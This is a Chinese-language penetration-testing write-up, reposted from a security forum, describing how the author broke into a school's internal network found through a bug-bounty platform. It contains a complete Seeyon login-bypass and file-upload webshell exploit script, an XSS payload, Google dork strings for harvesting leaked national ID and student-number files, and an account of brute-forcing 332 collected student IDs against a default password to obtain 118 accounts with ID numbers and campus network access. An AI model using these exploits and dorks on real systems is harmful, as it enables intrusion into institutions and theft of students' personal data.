攻防实战,进入某校内网

华盟原创文章投稿奖励计划

来源:先知社区,作者:尘佑不尘,

原文:https://xz.aliyun.com/t/16089

一、选择目标

进入补天,选择一个目标

自动草稿

信息收集

真实ip查找

使用

nslookupxxx.xxx.xxx

虽然只有一个ip回显,但是访问后发现,尝试使用https,发现也不行,因为还没有打算跑流量,所以先放下自动草稿

使用fofa证书序列号查找功能发现ip

从这里进入自动草稿

在详细信息里面找到序列号

自动草稿

拿百度的来说

自动草稿

去除冒号,将16进制转换为10进制

自动草稿

直接使用cert参数进行搜索,可以发现能够找到一些ip

自动草稿

同理,使用该方法发现真实ip

自动草稿自动草稿

使用shodan直接查找ip段漏洞

shodan search --limit 100 --fields ip_str,port net:xxx.xxx.xxx.0/24 has_vuln:True

参数解释

  • shodan search: 这是基本的搜索命令,用来启动 Shodan 查询。
  • –limit 100: 这个选项告诉 Shodan 返回最多 100 个结果。默认情况下,Shodan 只返回 100 个结果,但是你可以通过这个参数来改变这个数量(取决于你的订阅级别)。

  • –fields ip_str,port: 这个选项指定你想要在结果中包含哪些字段。在这个例子中,ip_str 是指设备的 IP 地址,port 是指开放的服务端口。

  • net:xxx.xxx.xxx.0/24: 这是一个过滤器,用来查找属于某个特定网络段内的设备。xxx.xxx.xxx.0/24 指的是一个 CIDR 表示法的子网掩码,代表的是一个以 xxx.xxx.xxx. 开头的所有 IP 地址。例如,如果你输入 192.168.1.0/24,那么它将搜索所有 192.168.1.* 的 IP 地址。

  • has_vuln:True: 这个过滤器用来查找已知存在漏洞的设备或服务。如果设置为 True,则只返回那些有已知安全漏洞的结果。

得到5条ip回显,进行访问后发现有一个不能使用了

自动草稿

两个返回

自动草稿

还有一个倒是正常的,但是图标不正常,是上海某某学校,时间原因就不去验证漏洞是否真的存在了。

最后终于找到一个,不过是cve-2010的,都是关于iis的,嗯……,先跳过吧

自动草稿

资产测绘

使用quake进行资产测绘,进行二次测绘,域名和备案号,更加全面自动草稿自动草稿

oneforall

使用oneforall进行子域名查找,找到7890条子域名自动草稿

存活检测+去除多余子域名

对二次资产测绘得到的数据和oneforall得到的数据进行去除,得到12697条数据,并且使用windfire进行存活检测,得到3437条数据自动草稿

这些大部分都是vpn登录页面的子域名,所以进行二次去重,最终得到162条数据

自动草稿

之后就是丢过去跑jsfind

批量域名得ip,使用shodan搜索漏洞

直接让人工智障写一个脚本,批量url执行nslookup得到去重ip

import reimport subprocessfrom urllib.parse import urlparsedefextract_domain(url):"""从URL中提取域名,并去除端口号"""    parsed_uri = urlparse(url)# 获取netloc并去除端口号    domain = parsed_uri.netloc.split(':')[0]return domaindefget_ip_from_nslookup(domain):"""使用nslookup命令获取域名对应的IP地址"""try:# 执行nslookup命令并获取输出        nslookup_result = subprocess.check_output(['nslookup', domain], stderr=subprocess.STDOUT, text=True)# 查找IPv4地址        ipv4_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'        ipv4_addresses = []        addresses_started = Falsefor line in nslookup_result.splitlines():if'Address:'in line:                addresses_started = True                match = re.search(ipv4_pattern, line)if match:                    ipv4_addresses.append(match.group(0))# 返回最后一个(即第二个)找到的IPv4地址if len(ipv4_addresses) >= 2:return ipv4_addresses[1]  # 返回第二个IPv4地址returnNoneexcept subprocess.CalledProcessError as e:        print(f"Failed to resolve domain {domain}{e.output}")returnNonedefprocess_urls(input_file, output_file):"""处理输入文件中的URL,获取IP地址,并保存到输出文件中"""# 创建一个集合来存储唯一的IP地址    unique_ips = set()with open(input_file, 'r'as file:for line in file:            url = line.strip()if url:                domain = extract_domain(url)                ip_address = get_ip_from_nslookup(domain)if ip_address:                    unique_ips.add(ip_address)# 将唯一IP地址写入新文件with open(output_file, 'w'as file:for ip in unique_ips:            file.write(ip + '\n')# 使用方法input_file = 'urls.txt'# 输入文件路径output_file = 'resolved_ips.txt'# 输出文件路径process_urls(input_file, output_file)

得到,有漏洞的ip,不过不太好利用,先跳过

自动草稿

Google搜索,得到大量学号

得到一些敏感数据,比如默认密码,老师的电话之类的

谷歌语法如下(直接copy即可)site:.A.B.cnfiletype:xlsORfiletype:xlsxintext:身份证site:.A.B.cnfiletype:pdfORfiletype:docORfiletype:docxintext:身份证site:.A.B.cnfiletype:xlsORfiletype:xlsx "身份证"site:.A.B.cnfiletype:pdfORfiletype:docORfiletype:docx "身份证"site:.A.B.cnfiletype:xlsORfiletype:xlsxintitle:身份证site:.A.B.cnfiletype:pdfORfiletype:docORfiletype:docxintitle:身份证语法解释site:指定域名inurl:用于搜索包含的url关键词的网页intitle:搜索网页标题中的关键字intext:搜索网页正文中的关键字filetype:按指定文件类型即文件后缀名搜索cache:已经删除的缓存网页

关键词可以替换为:

身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单


得到大量的学号泄露,整理了一下,得到332条学号

自动草稿自动草稿

寻找漏洞点

尝试致远漏洞(登陆绕过+任意文件上传)

https://blog.csdn.net/bring_coco/article/details/140336176

自动草稿exp:

# coding:utf-8import timeimport requestsimport reimport sysimport randomimport zipfilela = {'User-Agent''Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Content-Type''application/x-www-form-urlencoded'}defgenerate_random_str(randomlength=16):  random_str = ''  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'  length = len(base_str) - 1for i in range(randomlength):    random_str += base_str[random.randint(0, length)]return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../'+webshell_name1deffile_zip():    shell = 'test'## 替换shell内容    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)    zf.writestr('layout.xml'"")    zf.writestr(webshell_name2, shell)defSeeyon_Getshell(urllist):    url = urllist+'/seeyon/thirdpartyController.do'    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"    response = requests.post(url=url, data=post, headers=la)if response and response.status_code == 200and'set-cookie'in str(response.headers).lower():        cookie = response.cookies        cookies = requests.utils.dict_from_cookiejar(cookie)        jsessionid = cookies['JSESSIONID']        file_zip()        print'获取cookie成功---->> '+jsessionid)        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='        headersfile = {'Cookie'"JSESSIONID=%s" % jsessionid}        post = {'callMethod''resizeLayout''firstSave'"true"'takeOver'"false""type"'0','isEncrypt'"0"}        file = [('file1', ('test.png'open(mm+'.zip''rb'), 'image/png'))]        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)        time.sleep(2)else:        print('获取cookie失败')        exit()if filego.text:        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)        fileid = fileid1[0]if len(fileid1) == 0:            print('未获取到文件id可能上传失败!')        print('上传成功文件id为---->>:'+fileid)        Date_time = time.strftime('%Y-%m-%d')        headersfile2 = {'Content-Type''application/x-www-form-urlencoded','Cookie'"JSESSIONID=%s" % jsessionid}        getshellurl = urllist+'/seeyon/ajax.do'        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)        time.sleep(1)        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1        shelllist = requests.get(url=webshellurl1)if shelllist.status_code == 200:            print('利用成功webshell地址:'+webshellurl1)else:            print('未找到webshell利用失败')defmain():if (len(sys.argv) == 2):        url = sys.argv[1]        Seeyon_Getshell(url)else:        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")if __name__ == '__main__':    main()

只能上传zip文件,不能解压,失败自动草稿

尝试rabbitmq未授权登录

默认账号密码为guest/guest,失败自动草稿

xss

反射型xss,发现一个查询框,尝试xss

>"'><script>alert('XSS')</script>

自动草稿自动草稿

学号+弱口令进入,得到身份证

看子域名的js的url时发现一个登录地址,查看操作说明,发现使用了默认密码自动草稿自动草稿

随便尝试一下,直接登录成功,发现直接显示学号和身份证

自动草稿

而且登录的验证码有逻辑错误,第一次验证码正确以后都不验证,直接爆破,使用之前得到的332个学号,成功了118条学号

自动草稿自动草稿

登录校园网

和大多数学校一样,校园网是学号+身份证后6位自动草稿

随便尝试一下,直接成功,访问了学校的内网

自动草稿



黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容